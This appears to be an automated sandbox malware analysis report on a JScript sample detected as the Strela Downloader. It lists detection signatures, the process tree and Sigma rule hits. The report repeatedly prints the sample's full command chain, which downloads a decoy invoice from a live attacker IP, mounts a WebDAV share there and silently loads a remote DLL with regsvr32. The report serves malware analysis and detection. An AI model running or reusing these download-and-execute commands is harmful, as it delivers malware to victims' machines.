Edit tour

Windows Analysis Report
256361061998227470.js

Overview

General Information

Sample name:	256361061998227470.js
Analysis ID:	1588230
MD5:	a8754fe1d10860593989c9eeb6e17d80
SHA1:	05ebbacb3eed5ef01e381242d2e31c9a49aa4d5e
SHA256:	c9054c75fe2678cb6d0172d0e8150252a334b15a160bcebabdb23e85512a0462
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6960 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5004 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6228 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5580 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,4128559999269423684,7592879451884856046,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2012 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7124 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5704 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6960	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5004, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6228, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5004, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6228, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ProcessId: 6960, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ProcessId: 6960, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5004, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6228, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7124, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5704, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2012, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7124, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll, ProcessId: 5004, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 256361061998227470.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 256361061998227470.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2136794109.00000179B8BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2200541643.000002551E409000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E3FD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E3D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200541643.000002551E42B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2200541643.000002551E3D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temU
Source: svchost.exe, 00000009.00000002.3428580841.0000020596A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2201163062.0000020596770000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6960, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16869585829899.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 256361061998227470.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xn3xhlcd.4df.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\256361061998227470.js"
